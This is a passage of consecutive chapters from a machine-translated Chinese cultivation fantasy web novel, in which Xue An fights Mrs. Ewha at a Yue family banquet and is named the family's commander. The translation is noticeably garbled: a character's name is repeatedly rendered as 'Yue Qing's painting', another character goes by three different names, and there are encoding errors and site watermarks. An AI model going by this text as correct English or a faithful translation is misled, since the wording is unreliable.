    "It''s not enough to be angry, but you have to tell me something!"


    "what is the matter?"


    Sima Tiancheng once again cast his gaze to Yue Qinghuan in the distance, and said with interest: "About your cousin Qinghuan...I want to know."


    As soon as this statement was made, Yue Qing''s face turned pale in an instant, but she didn''t even have the courage to refuse. After all, she now bet all the bets on Sima Tiancheng.


    If Sima Tiancheng had abandoned her now, then she would be over, so she could only grit her teeth secretly.


    "Okay, let me tell you!"


    Just as Yue Qing''s painting told Sima Tiancheng about Yue Qinghuan, another group of guests arrived in the banquet hall.


    The head is a smiling, handsome teenager.


    As soon as the boy saw Yue Qinghuan, he immediately ran over excitedly.


    "Three sisters, you are finally back!"


    Yue Qinghuan was also very happy. He reached out and touched the boy''s head, "Well! The little guy has not seen you for a few days, but he has grown taller again!"


    The boy flushed as soon as he heard the name of the little guy.


    "I''m not a little guy, I''m almost an adult now!"


    "Okay, grown-up kid!" Yue Qing said with a smile.


    This young man is no one else, but Yue Qinghuan''s cousin, Yue Junze.


    Speaking of this, I need to briefly introduce the situation of the Yue family.


    Like many big families that have passed on for countless years, the Yue family is also an extremely large family.


    Although the more talented the strong, the more difficult it is to give birth to offspring.


    But if the time is stretched to the scale of thousands of years or even ten thousand years, then the number of offspring is still astonishing.


    This also led to many branches and collaterals in the Yue family, but the big waves washed the sand and the fittest survived, and most of the collaterals were eventually annihilated in the dust of time and never seen again.


    But there are always exceptions.


    For example, the branch represented by Yue Hongyuan, the father of Yue Qing''s paintings, is even the most powerful branch of the Yue family in recent years.


    And unlike the deceased family of the square, that is, the brothers and sisters of Yue Shifang, Yue Hongyuan has dozens of concubines, so it can be said that there are many descendants.


    This also indirectly caused the strength of Yue Hongyuan''s branch to become more and more powerful in recent years, and the right to speak in the Yue family has become stronger and stronger, and it even has the meaning of challenging the main family''s direct line.


    But not all branches and collateral lines have such ambitions, such as this Yue Junze.


    His branch was separated from the generation of Yue Shifang''s father, and the relationship is quite close.


    In addition, Yue Junze has followed the two brothers and sisters of Yue Shifang since childhood, and even more so.


    In fact, Yue Qinghuan had always regarded this Yue Junze as his own younger brother.


    Seeing him here at the moment, my heart is naturally happy.


    But at this time, Yue Junze cast a curious look at Xue An, who was aside, and then asked in a low voice: "Sister Sister, is this the third brother-in-law you brought back from outside?"


    This sentence made Yue Qing a big red face at the time, and he couldn''t help but sip, "Bah, what nonsense? This is the friend I brought back. If you dare to talk nonsense, be careful that I tear your mouth!"


    With that, Yue Qinghuan squeezed the corner of Yue Junze''s mouth smoothly and tugged hard.


    Yue Junze immediately began to complain, "Good sister, I was wrong, so don''t talk about it, otherwise, how can I meet people?"


    Only then did Yue Qinghuan let go of his hand, and then asked sternly, "Do you still dare to talk nonsense in the future?"


    "I dare not dare, but I am not the first to say these words!"


    "Oh? Who else?"


    "Too muchEveryone says that almost! Some people say that you are here to prepare for the wedding this time."


    Speaking of this, Yue Junze looked at Xue An curiously again.


    In fact, he has always been curious about this person who can "pick off" the strange flower of the third sister.


    Because others may not know, he knows best what kind of "cruel-belly" temperament is hidden under Yue Qinghuan''s seemingly harmless appearance.


    But this man was able to "surrender" him, and he was still safe at the moment, standing there with the parts intact, which was a miracle.


    Xue An naturally also noticed Yue Junze''s attention, but he could not perceive any malice from this young boy''s eyes, and some were just pure curiosity and...sympathy?


    Hmm... It''s better to be curious to explain, but what the **** is the sympathy that is overflowing?


    When Xue An was puzzled, he listened to a commotion outside.


    "The second girl is here!"


    "The second girl is here!"

 Chapter 2267： Long Family Arrival

    With these words, the crowd parted a path automatically, and then saw the two girls wearing a veil walking into the banquet hall.


    Wherever they went, everyone bowed their heads to show respect.


    There is no other reason, it is because these two girls are too powerful.


    In fact, since the family owner Yue Shifang lived in seclusion in the flower hall of the backyard six months ago, after he never showed up, the two girls are actually making decisions about the family''s big and small matters.


    This also led to the fact that in many cases, the words and deeds of these two girls represented the Patriarch Yue Shifang.


    These people naturally have to show respect.


    At the same time, many people are still a little bit shocked, because they really didn''t expect the second girl to come to this dinner in person.


    Although Yue Qinghuan is Yue Shifang''s own sister, she has a good relationship with these two girls.


    But this dinner was too low in specifications after all, and to a large extent it was just a simple gathering for the younger generation of the Yue family.


    That''s why you will see that all the young children from the major branches and collateral lines are here, and none of the older generations have come.


    As the spokesperson of the Patriarch, the second girl is present in person at this moment, which is a bit interesting.


    Despite the shock, almost everyone secretly passed the news back the first time.


    After all... even the second girl came in person, and people from all major branches will naturally also come.


    These are the dark tides hidden under the seemingly calm surface of this banquet hall. Many people are unaware of this. Only Xue An raised his eyebrows slightly, and then looked at the second girl with a smile, seeming to understand. What happened.


    Yue Junze on the side was also secretly observing, but his observation was different.


    Today, the second girl''s eyes seem to be a little red, as if... just crying!


    When everyone was thinking, the two girls walked straight to Yue Qinghuan and smiled slightly.


    "Huan''er, your brother can''t be there today if he has something to do, so I specifically asked me to come over to attend your reception banquet!"


    Yue Qinghuan also had some doubts, but she was so smart that she didn''t reveal anything unusual, and she smiled brightly and said, "Thank you second sister!"


    Among the entire Yue family, she is the only one who can be called Second Sister!


    The second girl smiled and took Yue Qinghuan''s hand, "Okay, don''t be polite between you and me, sit down quickly!"


    With that said, she took Yue Qinghuan to a seat directly.


    This warm and harmonious scene caused Yue Qing''s painting, who was hiding behind the crowd, to curl her lips secretly, and then slandered in her heart.


    What to pretend! But he is a foreigner who doesn''t know where he came from. It depends on the favor of the fellow Yue Shifang to have such a status, but after my dad succeeds...I see how proud of you!


    Of course she said these words in her heart, but on the surface she didn''t dare to express them at all.


    After all, calling the Patriarch''s name directly and speaking disrespectfully, being unruly, this is a serious crime in which family is left.


    At this moment, just listen to the noise outside the banquet hall, and then the heads of the major branches and collateral lines walked in one by one.


    These people are well-deserved big shots.


    After all, being able to stand firm in the Yue family, and staying outside is at least the existence of a separate party.


    But at this moment, these big figures all looked respectful and cautiously walked into the banquet hall.


    There is no other reason, even if they don''t catch a cold with the second girl, they have to show respect to Yue Shifang, who the second girl represents.


    The majesty of the Patriarch cannot be offended. This is an iron law among the big families of Tianwaitian.


    This is especially true of the Yue Family, which is known for its strict discipline.


    With the arrival of these big shots, the entire banquet hall became more and more lively in an instant.


    But soon someone noticed the abnormality.


    Because almost all the heads of the branches and collateral lines have arrived, but Yue Hongyuan did not come.


    At this time, many people''s expressions changed a little.


    Who didn''t know that now this Yue Hongyuan, relying on his own strength, has begun to covet the position of Patriarch.


    But no one thought that Yue Hongyuan would do so well, so he missed the banquet directly.


    what is this?


    Openly challenge the majesty of the main family or the patron?


    Along with these suspicions, the banquet hall gradually became quiet, and the atmosphere became depressed.


    The second girl raised her eyes and glanced, Xuan even laughed.


    "It looks like someone doesn''t want to come today!"


    Although she didn''t call her name directly, everyone knew who she was talking about.


    Yue Qing''s painting was also a little nervous at this time, and her heart became a mess of porridge.


    what happened?


    Why doesn''t Daddy show up yet?


    Could it be a showdown today?


    impossible!


    I didn''t receive any news beforehand!


    Just when she was puzzled, the second girl turned her head and looked at Yue Qinghuan, her eyes full of chills.


    "Huan''er, what do you think?"


    Under the gaze of the second girl, Yue Qinghuan understood something instantly, the smile on his face gradually diminished, and the power on his body also became dignified.


    "Is there any difference between some people coming and not coming?"


    The second girl smiled, "There really is no difference. In that case, let''s not wait, let''s just have a banquet!"


    "Great!"


    But just as the second girl turned her head to announce the opening of the banquet, there was a burst of hearty laughter outside the banquet hall.


    "Blame me and blame me, I wanted to come here as soon as possible, but I was delayed by something on the road, I hope I can still catch up!"


    Following the voice, I saw a middle-aged man with a delicate mustache coming in.


    You can clearly feel his shrewdness as soon as this man stops.


    And between Gu and Pan, there is even more of a sense of majestic temperament.


    It is the father of Yue Qing painting, Yue Hongyuan.


    His appearance caused a commotion in the room.


    Many people secretly breathed a sigh of relief.


    Okay!


    It seems that things have not reached the point of irreversibility.


    At this moment, Yue Hongyuan stepped forward and said with a smile on his face: "Second girl!"


    The second girl sitting at the table did not even move, not even the most basic response, and directly left this Yue Hongyuan there.


    The atmosphere in the field instantly became serious again.


    But the smile on Yue Hongyuan''s face has not changed in the slightest ~ www.novelhall.com ~ has maintained the posture of clasping his fists and arching his hands.


    It wasn''t until a long time later that the second girl raised her head to look at Xiang Yue Hongyuan, "Why did Master Yue arrive at this time? What was the delay on the way?"


    "It''s nothing, just happened to meet a few friends!"


    "friend?"


    "Yes, a few friends!" Yue Hongyuan smiled brightly.


    And at this moment, Xue An suddenly noticed something and looked directly out of the banquet hall.


    Not only him, but the second girl sitting at the table suddenly raised his eyes.


    At the same time, there was a sneer outside the banquet hall.


    "Yeah, it''s really lively!"


    Immediately afterwards, I saw a group of people stepping in, headed by a woman with a graceful figure and an angry face.


    It is Mrs. Ewha from the Long Family!

 Chapter 2268： Conflict broke out

    Many people were surprised when they saw her.


    "Isn''t this Mrs. Ewha from the Long Family?" someone whispered.


    "Yeah, why did she get here today?" Someone was puzzled.


    "Moreover, I came here with Yue Hongyuan, there must be something strange in this!" Someone vowed.


    "Shhh, keep your voice down and see what''s going on!"


    For a while, people whispered and discussed.


    Mrs. Pear snorted coldly, her eyes swept across the faces of everyone present, and finally stayed on Yue Qinghuan.


    "Miss Yue, it''s so lively today, are you going to get married?"


    For an unmarried girl, this is full of malice.


    Yue Qinghuan''s expression instantly cooled down, "What do you mean by this?"


    "What do you mean? Haha...!" Mrs. Ewha sneered again and again.


    At the same time, Liang Dikang, Zu Deming and others also walked into the banquet hall, and then pointed at Xue An.


    "Madam, it''s the Young Master Long who was injured by this guy!"


    In an instant, everyone''s eyes focused on Xue An.


    Who doesn''t know that Mrs. Ewha has always taken care of her shortcomings, and now her only son is actually injured by Xue An, it is estimated that today''s affairs will be difficult to get right.


    really.


    The killing intent in Mrs. Ewha''s eyes was instantly as strong as the substance, and then she stared at Xue An.


    "Boy, did you beat my son badly?"


    But to everyone''s expectations, Xue An even owed even the slightest expression on his face, but just nodded faintly, "That''s right!"


    boom!


    This sentence was like a blockbuster, which instantly detonated the anger in Mrs. Ewha''s heart.


    "Good! Good! Since I dare to admit it, then I will give you a good time!"


    With that, she was full of murderous intentions, and she was about to step forward.


    But at this moment, Yue Qinghuan stood up silently and blocked Xue An behind him.


    "Wait!"


    Mrs. Ewha stopped and said gloomily: "What? Does Miss Yue still protect this man?"


    "Of course! Because he is a friend I brought back, and this is the Yue family, not your dragon family, so you can''t help but let yourself be presumptuous!" Yue Qinghuan said unceremoniously.


    This is also a common idea in the hearts of many people present.


    Because Mrs. Ewha''s current behavior is equivalent to calling on the door to inquire about crimes. She is also one of the twelve strategists, but for whatever reason, this is a serious provocation.


    But it was discovered that the second girl had been sitting at the table silently, so there was no seizure.


    Now that Yue Qinghuan said so happily, many people were naturally refreshed in their hearts.


    Yue Junze was even more excited and whispered in a low voice: "The third elder sister is so domineering, so it must be like this, otherwise, is our Yue family really no one?"


    Mrs. Ewha never expected that Yue Qinghuan would dare to stop herself in public, and the anger in her heart could not help being more fierce.


    "Yue Qinghuan, you betrayed my son with a wild man who didn''t know where to jump out, and injured my son seriously. Do you still have to protect him now?" This Mrs. Ewha roared almost hysterically.


    As soon as this statement came out, there was a fierce commotion in the audience, and Yue Qinghuan was even more furious.


    "Mrs. Ewha, I respect you as my elder, so I always save you a bit of face, but if you dare to spit on others, don''t blame me for being rude to you!"


    "You''re welcome? Hahaha, I want to see how you are being kind to me, I don''t believe that your Yue family can fall out with my Long family for an outsider!" Madam Lihua said grimly.


    The situation in the field fell into a confrontation instantly.


    Strangely, the second girl didn''t say a word from beginning to end, but just sat and watched quietly.


    As for Xue An.


    As if he hadn''t heard this, he lowered his head and was fiddling with his fingers with interest.


    Seeing this, Sima Tiancheng standing in the crowd couldn''t help but show a cold smile.


    Make a fuss!


    The bigger the noise, the better!


    It''s best to kill this kid so that you can take advantage of it.


    Just as he secretly made a wishful thinking, he heard a hearty laugh.


    "Oh, the soldiers belong to the same family, why are they so arrogant!"


    Everyone looked up, and the speaker was Yue Hongyuan.


    I saw him take a step forward with a smile, "Qinghuan, this matter is actually easy to solve, as long as you hand over this man, nothing will happen?"


    Yue Qinghuan was very angry and smiled, "Hand it over? He is the friend I brought back. Why should I hand him over?"


    "Your friend is true, but he has caused a terrible disaster. Not only did he catch up with Liang Dikang and others, but he also disfigured the Long Family. If this matter is not explained to others, I am afraid not. Go ahead!" Yue Hongyuan said with a smile.


    It''s just that his smile looks awkward.


    However, Yue Qinghuan didn��t take his practice at all, and said coldly: ��First of all, he is my friend, and I will never give him to anyone. Secondly, this matter is all because of Long Zhan��s reckless actions. He is now Being disfigured, it is also self-blame."


    As soon as these words came out, Mrs. Ewha became even more furious, "Yue Qinghuan, do you have the ability to say it again?"


    "How about repeating it again? Your son has been pestering me. I have never scorned him. Then he attacked the friends around me. He was badly beaten and severely injured. What is this not to blame?"


    Mrs. Ewha''s eyes were red, and she wished to rush forward to slap Yue Qinghuan to death.


    Because she has been used to being arrogant and domineering, and she has never been so "humiliated" by others.


    Yue Hongyuan also changed slightly, "Qing Huan, no matter what you say is right or wrong, I hope you can put the overall situation first!"


    "The overall situation is important? Haha, it''s a joke, Yue Hongyuan, don''t think I don''t know what your abacus is in your heart! Collusion with outsiders to deal with your family''s people, you really put the overall situation first!"


    When speaking of the last four words, Yue Qinghuan deliberately increased his tone, full of irony.


    Yue Hongyuan''s face sank suddenly, UU reading "Yue Qinghuan, I am also your elder anyway, do you just call his name like this?"


    Yue Qinghuan sneered, and simply stood with his arms on the spot, with an expression that you would come here and see if you are a bird or not.


    Seeing this scene, there was a silent noise in the field.


    Many people secretly admired Yue Qinghuan.


    After all, what Yue Hongyuan did was a bit too much.


    It''s hard to justify the fact that people from other families mess up the dinner for whatever reason.


    Yue Junze was even more excited, his eyes gleamed, "Handsome, the third sister is so handsome! I also saw that Yue Hongyuan was not pleasing to the eye, what is it!"


    Having said that, he also walked forward without hesitation and stood behind Yue Qinghuan.


    But compared to Yue Qinghuan''s awe-inspiring domineering, Xue An seemed much more low-key.


    Even under the clamour of Mrs. Ewha and others, he has been sitting in his seat without moving.

 Chapter 2269： Can you do something here?

    This can''t help making many people look at him with contempt.


    After all, hiding behind a woman and stealing this kind of thing, as long as it is a spineless man can''t do it.


    The Yue Qing painting in the crowd suddenly had an idea, and then sneered, "Sister Qing Huan, I have to say that this man you are looking for is really useless!"


    "Doing something but daring to do it or not, hiding behind a woman, what is it not to be useless?"


    As soon as these harsh words came out, Yue Qinghuan''s heart shook.


    Of course she would not think Xue An was afraid.


    But now that the outside world makes such comments, what would Xue An think?


    After all, this incident was caused by myself in the final analysis!


    At this moment, Xue An suddenly chuckled, then said lightly.


    "Qing Huan, there is a saying in our hometown called "Small intolerance leads to chaos, do you know what it means?"


    Yue Qinghuan let go of his heart, nodded and said, "Of course I know!"


    "Yo-yo-yo, I will make excuses. If you can''t bear it, you will make a big plan. I think you are obviously afraid!" Yue Qing''s painting didn''t care about this, and continued to ridicule.


    Xue An seemed to have not heard these words, slowly raised his head, and said in a cold tone: "But I think sometimes, if you can''t bear it, then you don''t need to bear it anymore, what do you think?"


    Yue Qinghuan just wanted to talk.


    Xue An turned his head and glanced at the second girl who had never expressed any opinions from beginning to end, then slowly stood up and walked forward.


    "you����."


    Yue Qinghuan just wanted to stop, but Xue An just said indifferently: "Don''t worry, I have a sense of measure!"


    In one sentence, Yue Qinghuan swallowed all the words that followed, and let the way go.


    When he walked in front of the crowd, Xue An glanced at Mrs. Ewha who was angrily on the other side, and smiled slightly.


    "I beat your son, what do you want to do?"


    "What do I want to do? I think it will kill you now!"


    Mrs. Ewha roared, and the violent power came directly like a tide.


    Concubine Ji who can become the Patriarch of the Long Family, Mrs. Ewha also has some means.


    What''s more, at this moment, he was angry and shot, and it was even more imposing.


    But when this power came close to Xue An, it disappeared in smoke.


    Then Xue An said calmly: "Can you do something here?"


    This sentence is inexplicable.


    But at the same time, the second girl sitting behind her lightly said: "This banquet hall has been getting so old, it seems that it should be rebuilt again!"


    As soon as the voice fell, Xue An disappeared directly.


    Mrs. Ewha suddenly felt a strong sense of crisis in her heart, and under the shock, she subconsciously stepped back.


    But at this moment, Xue An''s figure appeared in front of her, with blazing flames burning in her eyes.


    Mrs. Ewha wanted to scream, but it was too late, but when she saw Xue An''s palm fell, there were bright fireworks between her palms.


    Bang!


    With a muffled sound, Mrs. Ewha, who had just been surviving, was directly shaken out like a kite with a broken line, and at the same time the flame spread in mid-air and turned into a burning man.


    boom!


    The audience was in an uproar.


    No one thought that Xue An would make a sudden move, and the move was so simple and neat.


    Yue Junze watched this scene dumbfounded, and the slightest dissatisfaction with Xue An before disappeared, and some were just deep admiration.


    "Handsome! Really handsome!"


    Just as he whispered softly, Mrs. Ewha suddenly roared in midair.


    "Ah ah ah ah I am going to kill you!"


    Following the voice, a strong wave erupted from her body, directly extinguishing the flame on her body, and then stood in the void.


    Looking at her at this time, her whole body is shrouded in a light blue barrier, which is a magic weapon that Long Yushu, the Patriarch of the Long Family, bestows on her.


    But despite the magic weapon to protect her body, Mrs. Ewha was also in a panic at this time.


    Especially the hair that she is most proud of has turned into a ball of coke because of the flame, and even the top of her head still emits a curl of green smoke.


    How could this not make her fall into a state of rampage.


    "Die me!"


    A light blue light directly blasted towards Xue An, and even the space it passed by was shaken by layers of ripples.


    It can be seen that Mrs. Ewha hates her very much at this moment.


    But this attack did not even touch Xue An''s hair, Xue An disappeared in place, and when he reappeared, he had already come behind Mrs. Ewha, and then blasted out with a punch.


    Boom!


    There was another loud noise.


    A layer of ripples appeared on the barrier on Mrs. Ewha''s body, but she didn''t even move. Instead, Xue An was shaken back dozens of steps.


    Then Mrs. Ewha smiled grimly, "It''s useless, this is a gift from the Patriarch, relying on you as the root..."


    puff!


    She wanted to say that it was impossible for you to break the barrier, but before she finished speaking, a wisp of sword pierced the barrier directly, and it just happened to be inserted into her mouth, violently A stir.


    Huh boom boom!


    The teeth of Mrs. Ewha''s mouth were crushed by sharp sword lights at that time. The blood was dripping. She was shocked and angry, her figure retreated sharply, and finally avoided this almost mortal sword.


    Looking at the blue barrier on her body, there was a big round hole in front of her. Although it was closing quickly, it still made Madam Ewha chill all over.


    Because she really didn''t know what method Xue An used to pierce this unbreakable barrier.


    Not only her, but even the second girl''s eyes flashed slightly, obviously quite surprised.


    At this time, Xue An casually dispersed the sword intent in his hand, and said lightly: "What did you just say?"


    The wound in Mrs. Ewha''s mouth healed quickly, but even so, the missing teeth did not grow out in a while, so she was a little leaky when she spoke.


    "Woshuo is like a backside!"


    boom!


    Madam Ewha suddenly exploded with an extremely bright light on her chest, and then she saw a spear that was like a substance protruding from the light, piercing Xue An with supreme might.


    Wherever he passed, there was a faint dragon chant coming from.


    "Shaking the Dragon Spear! The famous skill of the Long Family Patriarch!" someone exclaimed. UU reading www.uukanshu. com


    This is obviously a lore specially sealed by the Long Family Patriarch Long Yushu for Mrs. Ewha, just to use it at a critical moment, once used, it will have the power of his full blow.


    And being able to become the Patriarch of the Long Family.......


    At least it must be a saint-level cultivation base!


    In the face of this strong blow, Xue An could not retreat, and instantly fell into an extremely dangerous situation.


    The second girl''s eyes moved slightly and she wanted to make a move.


    But at this moment, a flame that was so weak that it seemed to be extinguished at any time suddenly appeared in the air and blocked the shot.


    puff!


    Passing the tip of the gun, the flame suddenly flourished, and then it quickly spread upward.


    Under the raging flames, everyone present was shocked.


    "This flame..."

 Chapter 2270： Savior of Fire

    Even the second girl, who had been sitting by the side, couldn''t help but change slightly after seeing this scene, and then said slowly.


    "Savior of Different Fire!?"


    As soon as the voice fell, the spear quickly twisted and shattered under the raging flames, and disappeared into nothing after a muffled sound.


    The full blow of the saint-level existence actually disappeared like this.


    The audience was terrified.


    But this was just the beginning. At the moment when the spear broke, everyone''s ears suddenly heard a soft voice.


    Then I saw the spear that had disappeared recondensed in an instant, not only that, but an endless aura suddenly descended, instantly suppressing the flames that were originally burning in the sky.


    Everyone was horrified, and some people trembling lips, whispered softly: "It''s a saint! Only the realm of saints has such a powerful power!"


    The second girl and Yue Qinghuan changed their expressions, just about to say something.


    But seeing the spear disappeared in the same place in an instant, when it appeared again, the tip of the spear was no more than a minute away from Xue An''s eyeballs, and it pierced frantically.


    The whole process was almost at its peak, and many people didn''t even understand what was going on. This long spear had already pierced Xue An.


    And Xue An''s reaction was not unpleasant!


    In fact, his reaction can''t be called a reaction at all, because if he perceives the danger, and then his brain orders to dodge, it will be too late.


    All his dodge comes from the subconscious reaction of the body.


    I saw him retreat sharply, and the spear pierced forward.


    The scene was extremely dangerous in an instant.


    Many people''s hearts instantly mentioned their throats.


    Only a cold smile appeared on the faces of Sima Tiancheng, Yue Hongyuan and others.


    Obviously, this is the Long Family Patriarch who secretly shot.


    Under the power of the saint, this young man will soon be crushed into powder.


    But just when these people thought Xue An was dead, a cold snort suddenly came out of thin air.


    "Long Yushu, do you really treat my Yue family as no one?"


    After a question, the original aggressive spear offensive instantly collapsed and completely turned into nothingness.


    There was a faint groan in the void, and then a voice full of jealousy and anger sounded.


    "Yue Shifang, you actually shot me for a small character who didn''t know where it came from? Are you not afraid to cause a dispute between your two families?"


    "Haha, hasn''t the dispute between you and my family always been there? On the contrary, it is you. If I let you kill people on my turf, that would really indulge you!" Yue Shifang said lightly.


    Neither of them showed up during the whole process, but everyone knew that the situation just now was obviously extremely dangerous.


    Because this is clearly the two great saint-level masters fighting in the air, with a little carelessness, the entire planet may become a funerary.


    But it seemed that Long Yushu didn''t intend to burn with Yue Shifang''s jade.


    "Very well, Yue Shifang, I''ll take down the account. Let''s see you when you play the troops. I will kill the man who wounded my blood!"


    "Hehe, I''m happy to accompany you!"


    "Humph!"


    The space trembled suddenly, and then an invisible hand grabbed Mrs. Ewha, who was standing still in the air, and disappeared.


    In an instant, the space returned to calm.


    But no one dared to speak, everyone held their breath and condensed, waiting for Yue Shifang''s expression.


    In this case, Long Chaoming and Liang Dikang who followed Mrs. Ewha were embarrassed.


    They originally followed Mrs. Ewha to come over and ask questions.


    But what I didn''t expect was that I didn''t ask the crime, but instead left people like myself.


    Seeing those unkind eyes, the hearts of these people couldn''t help starting to go up and down, and they looked at Yue Hongyuan one after another.


    After all, he brought people like himself, otherwise they would not be able to enter the banquet hall so smoothly.


    Unexpectedly, at this moment, Yue Hongyuan was no longer the arrogance he had before, but bowed his head, watched his nose and nose, and asked his heart, with a respectful appearance.


    What the fuck...


    Long Chaoming and the others seemed to have countless rough horses flying by.


    At this moment, I heard Yue Shifang''s voice coming again.


    "I''m surprised, you can actually stop this guy''s blow!"


    Xue quietly stood in the air with a calm expression, "Actually, even if you didn''t make a move just now, I wouldn''t necessarily lose!"


    "Hahahahaha, what a big tone, that''s a saint-level existence!"


    "But he hasn''t arrived yet, so he wants to kill me only with a powerful force. It''s too simple to think!" Xue An said lightly.


    Space is silent.


    The audience also fell into silence.


    Because no one knows whether this boy in white is true or not.


    Obviously he is just a fairy-level existence? Why is there such a strong self-confidence?


    Sima Tiancheng''s pupils tightened, and he suddenly realized that he seemed to have made a huge mistake.


    That is, I have never really seen this boy in white from beginning to end.


    Who is he? Where did it come from? What is the flame that is so overbearing and even blocking the dragon-shaking spear?


    These questions caused Sima Tiancheng, who had just been addicted to Yue Qinghuan''s beauty, to sweat.


    And the next sentence from Yue Shifang made him even more horrified.


    "You really are a very interesting person!" Yue Shifang said with a light smile. UU reading www.uukanshu. cm


    "The same with you!" Xue An said neither humble nor arrogant.


    Yue Shifang laughed, and then suddenly said, "Are you interested in being the leader of my Yue family?"


    This sentence was really shocking and shocked the audience.


    Commander!


    That''s a sergeant with a heavy hand!


    No matter which branch of the military strategist, they are absolutely pivotal figures.


    Because once you hold this position, it means that you will have at least one elite soldier in your hand.


    Because this position is so important, I have never heard of a precedent for an outsider to take on this position.


    Yue Hongyuan was shocked all over his body.


    He is coveting the position of Patriarch, but the premise is to wait until Yue Shifang''s soldiers resolve the cycle of reincarnation before attacking.


    And now that Yue Shifang suddenly lives deep in the backyard flower hall, he knows that this day shouldn''t be long.


    That''s why he was very respectful just now.


    After all, the majesty of provoking the Patriarch now will only make one lose the opportunity.


    But he never expected that Yue Shifang would suddenly make this decision. It was in his own interests, so he couldn''t bear it anymore and looked up and said.


    "Patriarch, this is not right!"


    "Oh? What''s wrong?" Yue Shifang''s voice was as flat as water, and he couldn''t hear the joy or anger.


    "I think this military commander is the top priority of my Yue family. Now that martial arts performance is about to come, it is more related to the ranking of my Yue family in the twelfth line. How can we leave this important task to an outsider? And it''s just an immortal. Honorable outsider?"


    The invincible chapters of "Invincible, Starting from Xianzun Dad" will continue to be updated on Xinfiction.com. There are no advertisements in the site. Please collect and recommend new ones!


    I like Invincible, and please collect it from Dad Xianzun: () Invincible, the newest update speed is the fastest from Dad Xianzun.

 Chapter 2271： Yue Family Commander

    "Invincible, start from Xianzun Dad ( to find the latest chapter!


    This Yue Hongyuan did not directly oppose it, but the reasons given were reasonable and well-founded, and everyone couldn''t help nodding their heads.


    "Do you think this is what you think, or do you think everyone thinks that way?" Yue Shifang said lightly.


    Everyone looked at each other.


    Soon, under Yue Hongyuan''s gaze, Yue Qing''s paintings and some people who had good acquaintances with Yue Hongyuan stood up one after another.


    "Patriarch, we think Master Yue is right!"


    "Yes, you need to think twice about this!"


    Although Yue Qinghua didn''t speak, she stood behind her father with a proud face, thinking that this was a cheer for her father.


    But she did not notice that when she walked out of the crowd, Sima Tiancheng looked at her as if looking at a dead person.


    Sima Tiancheng couldn''t even understand Yue Hongyuan''s current behavior.


    Can this be regarded as openly confronting the Patriarch by relying on his own power?


    But doesn''t he know that no matter which family he is in, the majesty of the Patriarch cannot be challenged?


    really.


    After these people all expressed their opposition, Yue Shifang said in a calm tone: "Okay, I get it! So, do you disagree with me?"


    As soon as this remark came out, these people including Yue Hongyuan were all disgusted.


    Only Yue Qing said with a smile, "Patriarch, what you have said is indeed a bit wrong, I think..."


    Before the words fell, the entire body of Yue Qing''s painting became nothingness at a speed visible to the naked eye.


    In the whole process, this Yue Qing painting was completely unaware, and he opened his mouth and said something with a smile on his face.


    But no one can hear her voice anymore.


    Because in the next second, she turned into nothingness and disappeared.


    The whole process was unhappy, as if this Yue Qing painting didn''t exist at all.


    And it was such an understatement that immediately shocked everyone present.


    Especially Yue Hongyuan, his face instantly became extremely pale, and big cold sweat appeared on his forehead.


    The past flashed through his mind one by one, and he suddenly understood.


    It turns out that the Patriarch didn''t put himself in his eyes from the beginning!


    It is ridiculous that I still think I have made a good plan, but in fact it is just a joke in the eyes of others!


    In an instant, Yue Hongyuan felt a utter despair.


    Not only him, but the people who had just given his face to support him, all of them were ashamed at the moment, and some even trembled because of excessive panic.


    As for the others, they were all silent.


    Those who can appear here are not fools.


    Reminiscing that this dinner was held specifically to entertain Yue Qinghuan and Xue An, people instantly understood what it meant.


    This clearly shows that I want to stand up for Yue Qinghuan and this white-clothed boy!


    If it were not for the sudden appearance of the Long Family, especially the Long Yushu secretly starting, perhaps the Patriarch would not do it, but would treat Yue Hongyuan and others as the sharpening stone for Yue Qinghuan and this young man!


    And with such painstaking efforts, one can imagine the importance of this young man in the mind of the master.


    Many of the heads of the collateral branch quietly glanced at each other at this moment, and then they understood their next position.


    Obviously, the Patriarch is about to reincarnate again, and during this period of time, the power will be in the hands of the second girl, the third girl, and...this mysterious teenager who doesn''t know the origin.


    And the only thing people like myself can do is to cooperate!


    Of course, not everyone is so scheming, such as this Yue Junze.


    At this moment, he was full of the idea that the scumbag Patriarch was so handsome, and the idea that this guy must be the third brother-in-law.


    Just when people''s hearts were shaking, Yue Shifang asked again.


    "Will you?"


    Xue An was silent for a moment, and then slowly said: "The conditions are still good!"


    As soon as this remark came out, Yue Qinghuan, who was still a little delighted and excited, covered his eyes.


    This guy... doesn''t he forget to bargain even at this time?


    Many people almost vomited blood on the spot.


    We must know how many people coveted this position, but now that the owner personally invites him, this young man is still thinking about bargaining?


    What is in his mind?


    But the more this happened, the more frightened Sima Tiancheng, who had been hiding behind the crowd.


    Obviously, this young man had a very high background, otherwise he wouldn''t be so favored by the Yue family, and looking at his current attitude, it seemed that he didn''t care much about the military leader of the Yue family.


    So what is his origin?


    Which people are in the front of the ancient hundred schools?


    Sima Tiancheng was full of chaos, no more thoughts of jealousy.


    Now he just wants to get away from here as soon as possible, and then bring the news back to Sima''s home.


    At the same time, Yue Shifang seemed to have expected Xue An to ask such questions, and said with a chuckle: "The conditions are very simple, that is, to lead the Yue family to a good ranking in the upcoming martial arts performance, at least to maintain the current ranking. move!"


    "The advantage is...I will help you advance!"


    A few simple words are enough to make countless people''s jealous eyes red.


    God knows how many people have been stuck in the realm of a half-step saint all their lives and cannot be saved.


    And if Yue Shifang is really willing to help, then this can be said to be a step up to the sky.


    Because who doesn''t know that if the realm is high, Yue Shifang is the undisputed number one among military strategists.


    If it wasn''t for dozens of reincarnations that severely lost his strength, it would be more than letting the Long Family and others clamor here.


    But even with such a favorable condition, Xue An still did not rush to agree, but said indifferently: "I don''t care if I get promoted or not. After all, I won''t necessarily be slow by myself. I only have one request!"


    "Well, I promise you!" Yue Shifang answered directly without hesitation.


    "Huh? Don''t you ask me what I want?"


    "Hehe, besides wanting to know what happened back then, do you have any other requirements?" Yue Shifang chuckled lightly.


    Xue An also smiled, then nodded, "Okay!"


    A good word exited, and a golden light flashed in front of him.


    Immediately afterwards, a seal seal gradually appeared in the golden light.


    This seal seal is powerful, embroidered with various mysterious patterns, among which is a simple and desolate Yue character.


    "Take this seal, you are the leader of the Yue family! Do you know what to do the next thing?" Yue Shifang smiled lightly.


    "of course!"


    "Okay, let''s go!"


    When the words were over, the aura that had enveloped the entire banquet hall disappeared.


    And Xue An stretched out his hand to catch this seal, and in an instant he felt a sense of supreme military might enter his body.


    When he raised his eyes again, the huge coercion made everyone present just want to kneel down.


    This is the commanding force!


